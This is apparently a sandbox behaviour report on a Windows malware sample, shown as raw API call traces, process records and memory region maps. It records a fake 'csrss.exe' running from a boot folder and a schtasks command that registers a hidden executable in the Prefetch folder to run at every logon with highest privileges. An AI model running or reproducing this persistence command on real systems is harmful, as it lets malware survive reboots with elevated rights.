[0079.219] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d740) returned 1 [0079.219] GetProcessHeap () returned 0x3f0000 [0079.219] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d740) returned 0xc [0079.219] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d740 | out: hHeap=0x3f0000) returned 1 [0079.219] GetProcessHeap () returned 0x3f0000 [0079.219] GetProcessHeap () returned 0x3f0000 [0079.219] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cd10) returned 1 [0079.219] GetProcessHeap () returned 0x3f0000 [0079.219] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cd10) returned 0x20 [0079.220] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cd10 | out: hHeap=0x3f0000) returned 1 [0079.220] GetProcessHeap () returned 0x3f0000 [0079.220] GetProcessHeap () returned 0x3f0000 [0079.220] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40bb10) returned 1 [0079.220] GetProcessHeap () returned 0x3f0000 [0079.220] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40bb10) returned 0x18 [0079.220] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40bb10 | out: hHeap=0x3f0000) returned 1 [0079.220] GetProcessHeap () returned 0x3f0000 [0079.220] GetProcessHeap () returned 0x3f0000 [0079.220] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405ac0) returned 1 [0079.220] GetProcessHeap () returned 0x3f0000 [0079.220] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405ac0) returned 0x20 [0079.221] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405ac0 | out: hHeap=0x3f0000) returned 1 [0079.221] GetProcessHeap () returned 0x3f0000 [0079.221] GetProcessHeap () returned 0x3f0000 [0079.221] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405af0) returned 1 [0079.221] GetProcessHeap () returned 0x3f0000 [0079.221] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405af0) returned 0x20 [0079.221] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405af0 | out: hHeap=0x3f0000) returned 1 [0079.221] GetProcessHeap () returned 0x3f0000 [0079.221] GetProcessHeap () returned 0x3f0000 [0079.221] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405b20) returned 1 [0079.221] GetProcessHeap () returned 0x3f0000 [0079.221] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405b20) returned 0x20 [0079.222] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405b20 | out: hHeap=0x3f0000) returned 1 [0079.222] GetProcessHeap () returned 0x3f0000 [0079.222] GetProcessHeap () returned 0x3f0000 [0079.222] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405b50) returned 1 [0079.222] GetProcessHeap () returned 0x3f0000 [0079.222] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405b50) returned 0x20 [0079.222] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405b50 | out: hHeap=0x3f0000) returned 1 [0079.223] GetProcessHeap () returned 0x3f0000 [0079.223] GetProcessHeap () returned 0x3f0000 [0079.223] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40bb30) returned 1 [0079.223] GetProcessHeap () returned 0x3f0000 [0079.223] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40bb30) returned 0x18 [0079.223] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40bb30 | out: hHeap=0x3f0000) returned 1 [0079.223] GetProcessHeap () returned 0x3f0000 [0079.223] GetProcessHeap () returned 0x3f0000 [0079.223] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405b80) returned 1 [0079.223] GetProcessHeap () returned 0x3f0000 [0079.223] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405b80) returned 0x20 [0079.223] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405b80 | out: hHeap=0x3f0000) returned 1 [0079.224] GetProcessHeap () returned 0x3f0000 [0079.224] GetProcessHeap () returned 0x3f0000 [0079.224] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405c10) returned 1 [0079.224] GetProcessHeap () returned 0x3f0000 [0079.224] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405c10) returned 0x20 [0079.224] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405c10 | out: hHeap=0x3f0000) returned 1 [0079.224] GetProcessHeap () returned 0x3f0000 [0079.224] GetProcessHeap () returned 0x3f0000 [0079.224] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405c70) returned 1 [0079.224] GetProcessHeap () returned 0x3f0000 [0079.224] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405c70) returned 0x20 [0079.225] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405c70 | out: hHeap=0x3f0000) returned 1 [0079.267] GetProcessHeap () returned 0x3f0000 [0079.267] GetProcessHeap () returned 0x3f0000 [0079.267] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405cd0) returned 1 [0079.267] GetProcessHeap () returned 0x3f0000 [0079.267] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405cd0) returned 0x20 [0079.267] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405cd0 | out: hHeap=0x3f0000) returned 1 [0079.267] GetProcessHeap () returned 0x3f0000 [0079.267] GetProcessHeap () returned 0x3f0000 [0079.267] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405d00) returned 1 [0079.267] GetProcessHeap () returned 0x3f0000 [0079.268] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405d00) returned 0x20 [0079.268] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405d00 | out: hHeap=0x3f0000) returned 1 [0079.268] GetProcessHeap () returned 0x3f0000 [0079.268] GetProcessHeap () returned 0x3f0000 [0079.268] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40bb50) returned 1 [0079.268] GetProcessHeap () returned 0x3f0000 [0079.269] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40bb50) returned 0x18 [0079.269] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40bb50 | out: hHeap=0x3f0000) returned 1 [0079.269] GetProcessHeap () returned 0x3f0000 [0079.269] GetProcessHeap () returned 0x3f0000 [0079.269] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405c40) returned 1 [0079.269] GetProcessHeap () returned 0x3f0000 [0079.269] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405c40) returned 0x20 [0079.270] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405c40 | out: hHeap=0x3f0000) returned 1 [0079.270] GetProcessHeap () returned 0x3f0000 [0079.270] GetProcessHeap () returned 0x3f0000 [0079.270] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40bad0) returned 1 [0079.270] GetProcessHeap () returned 0x3f0000 [0079.270] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40bad0) returned 0x18 [0079.270] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40bad0 | out: hHeap=0x3f0000) returned 1 [0079.270] exit (_Code=0) Thread: id = 170 os_tid = 0xcb4 Process: id = "44" image_name = "csrss.exe" filename = "c:\\boot\\cs-cz\\csrss.exe" page_root = "0x3cdf8000" os_pid = "0xcbc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "28" os_parent_pid = "0xfb4" cmd_line = "C:\\Boot\\cs-CZ\\csrss.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4220 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4221 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4222 start_va = 0x100000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 4223 start_va = 0xf50000 end_va = 0x1027fff monitored = 1 entry_point = 0x101f1ee region_type = mapped_file name = "csrss.exe" filename = "\\Boot\\cs-CZ\\csrss.exe" (normalized: "c:\\boot\\cs-cz\\csrss.exe") Region: id = 4224 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4225 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4226 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4227 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4228 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4229 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 4230 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4231 start_va = 0x200000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4232 start_va = 0x7fef70d0000 end_va = 0x7fef713efff monitored = 1 entry_point = 0x7fef70d1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 4233 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4234 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4235 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4236 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4237 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4238 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4239 start_va = 0x3e0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 4240 start_va = 0x200000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4241 start_va = 0x360000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 4242 start_va = 0x3e0000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 4243 start_va = 0x5a0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 4733 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4734 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4735 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4736 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4737 start_va = 0xb0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 4738 start_va = 0x5b0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 4739 start_va = 0x7fef7020000 end_va = 0x7fef70c8fff monitored = 1 entry_point = 0x7fef7021010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 4740 start_va = 0x7fef9890000 end_va = 0x7fef9892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5318 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5319 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5320 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5321 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5322 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5323 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5324 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 5325 start_va = 0x6b0000 end_va = 0x837fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 5326 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5327 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5328 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5329 start_va = 0x840000 end_va = 0x9c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 5330 start_va = 0x1030000 end_va = 0x242ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001030000" filename = "" Region: id = 5504 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5505 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 5506 start_va = 0x9d0000 end_va = 0xaa0fff monitored = 1 entry_point = 0xa9f1ee region_type = mapped_file name = "csrss.exe" filename = "\\Boot\\cs-CZ\\csrss.exe" (normalized: "c:\\boot\\cs-cz\\csrss.exe") Region: id = 5507 start_va = 0x9d0000 end_va = 0xaa0fff monitored = 1 entry_point = 0xa9f1ee region_type = mapped_file name = "csrss.exe" filename = "\\Boot\\cs-CZ\\csrss.exe" (normalized: "c:\\boot\\cs-cz\\csrss.exe") Region: id = 5508 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5584 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5585 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5586 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5587 start_va = 0x7fef79b0000 end_va = 0x7fef79c5fff monitored = 0 entry_point = 0x7fef79bc000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5588 start_va = 0x7fef3df0000 end_va = 0x7fef3eacfff monitored = 0 entry_point = 0x7fef3e77db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 5709 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 5710 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 5711 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 5712 start_va = 0x7fe91ec0000 end_va = 0x7fe91ecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ec0000" filename = "" Region: id = 5713 start_va = 0x7fe91ed0000 end_va = 0x7fe91edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ed0000" filename = "" Region: id = 5714 start_va = 0x7fe91ee0000 end_va = 0x7fe91f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ee0000" filename = "" Region: id = 5715 start_va = 0x7fe91f70000 end_va = 0x7fe91fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91f70000" filename = "" Region: id = 5716 start_va = 0x300000 end_va = 0x300fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 5717 start_va = 0x310000 end_va = 0x310fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 5718 start_va = 0x9d0000 end_va = 0xbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 5719 start_va = 0xbd0000 end_va = 0xdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 5836 start_va = 0x2470000 end_va = 0x256ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002470000" filename = "" Region: id = 5837 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 5838 start_va = 0x320000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 5839 start_va = 0x2570000 end_va = 0x1a56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 6220 start_va = 0x1a570000 end_va = 0x1a8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a570000" filename = "" Region: id = 6221 start_va = 0x9d0000 end_va = 0xad0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 6222 start_va = 0xb50000 end_va = 0xbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b50000" filename = "" Region: id = 6223 start_va = 0x1a9c0000 end_va = 0x1aabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a9c0000" filename = "" Region: id = 6224 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 6551 start_va = 0xbd0000 end_va = 0xccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 6552 start_va = 0xd80000 end_va = 0xdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d80000" filename = "" Region: id = 6705 start_va = 0x1ab10000 end_va = 0x1ac0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ab10000" filename = "" Region: id = 6706 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 6707 start_va = 0x1ac10000 end_va = 0x1aedefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6716 start_va = 0x7feee920000 end_va = 0x7feeff1cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 6717 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6718 start_va = 0x3e0000 end_va = 0x45cfff monitored = 0 entry_point = 0x3ecec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6719 start_va = 0x490000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6720 start_va = 0x3e0000 end_va = 0x45cfff monitored = 0 entry_point = 0x3ecec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6721 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 6724 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 6725 start_va = 0x1aee0000 end_va = 0x1b14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aee0000" filename = "" Region: id = 6726 start_va = 0xe00000 end_va = 0xedefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e00000" filename = "" Region: id = 6727 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 6728 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 6729 start_va = 0x7fe91fe0000 end_va = 0x7fe9205ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91fe0000" filename = "" Thread: id = 189 os_tid = 0xcc0 [0117.518] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 Thread: id = 254 os_tid = 0xd50 Thread: id = 272 os_tid = 0xaa0 [0120.117] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 285 os_tid = 0xd28 Process: id = "45" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3d98d000" os_pid = "0xcb8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"winscp\" /sc ONLOGON /tr \"'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3700 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3701 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3702 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3703 start_va = 0x140000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 3704 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3705 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = 